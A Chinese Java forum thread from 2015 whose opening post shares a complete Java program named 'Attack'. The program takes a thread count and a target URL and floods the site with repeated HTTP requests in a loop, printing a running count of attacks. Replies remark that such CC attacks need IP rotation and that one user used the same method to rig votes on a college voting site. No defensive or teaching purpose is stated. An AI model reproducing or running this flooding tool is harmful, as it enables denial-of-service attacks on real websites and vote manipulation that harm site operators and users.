java吧 关注:1,238,161贴子:12,707,864
  • 21回复贴,共1

攻击类的,来分享一下

只看楼主收藏回复

import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;
public class Attack implements Runnable {
private static String strUrl = null;
private static long numL = 0;
private static Scanner scanner = new Scanner(System.in);
public void run() {
HttpURLConnection connection = null;
InputStream urlStream = null;
URL url = null;
while(true) {
try {
url = new java.net.URL(strUrl + numL);//得到URL
connection = (java.net.HttpURLConnection)url.openConnection();
connection.connect();
urlStream = connection.getInputStream();
if(urlStream != null){
++numL;
urlStream.close();
System.out.println("攻击了" + numL + "次");
}
Thread.sleep(1);
}
catch (InterruptedException e) {
e.getMessage();
try{
Thread.sleep(1);
}
catch(InterruptedException ie){
ie.printStackTrace();
}
}
catch (MalformedURLException e) {
e.printStackTrace();
}
catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) throws MalformedURLException{
int threadNum;
System.out.println("");
do{
System.out.println("请输入要生成的线程数:");
threadNum = scanner.nextInt();
System.out.println("请输入要攻击的网址:");
String str = scanner.next();
if(!str.startsWith("")){
strUrl = "http://" + str;
System.out.println(strUrl);
}
else{
strUrl = str;
}
if(str.indexOf("?") >=0 ){
strUrl = strUrl + "&num=";
}
else{
strUrl = strUrl + "?num=";
}
System.out.println("--------------------------------------");
System.out.println("线程数:" + threadNum);
System.out.println("攻击地址" + str);
System.out.println("请再次确认(Y/N):");
String tmp = scanner.next();
if("Y".equalsIgnoreCase(tmp)){
break;
}else if("N".equalsIgnoreCase(tmp)){
}else{
System.out.println("输入错误,请重新输入(Y/N):");
}
}while(true);
for(int i=0; i<threadNum; i++){
Attack at = new Attack();
Thread t = new Thread(at);
t.start();
}
}
}


来自Android客户端1楼2015-01-02 20:10回复
    这不是坑自己呢吗


    IP属地:吉林来自iPhone客户端3楼2015-01-02 21:53
    收起回复
      我看著 你的脸 轻刷著和弦 初恋是整遍 手写的从前
      还记得 那年秋天 说了再见
      当恋情 已走远
      我将你 深埋在 心里面


      IP属地:广西本楼含有高级字体4楼2015-01-02 22:25
      回复
        试不起来


        IP属地:上海来自Android客户端5楼2015-01-02 23:21
        收起回复
          攻击什么的


          来自Android客户端6楼2015-01-02 23:46
          收起回复
            cc攻击 没啥用 要换ip的


            IP属地:中国香港7楼2015-01-02 23:49
            收起回复
              前几天学院出了个php投票站,我给用java黑了。。。也是这玩意,自动刷票


              IP属地:北京来自Android客户端8楼2015-01-03 02:36
              收起回复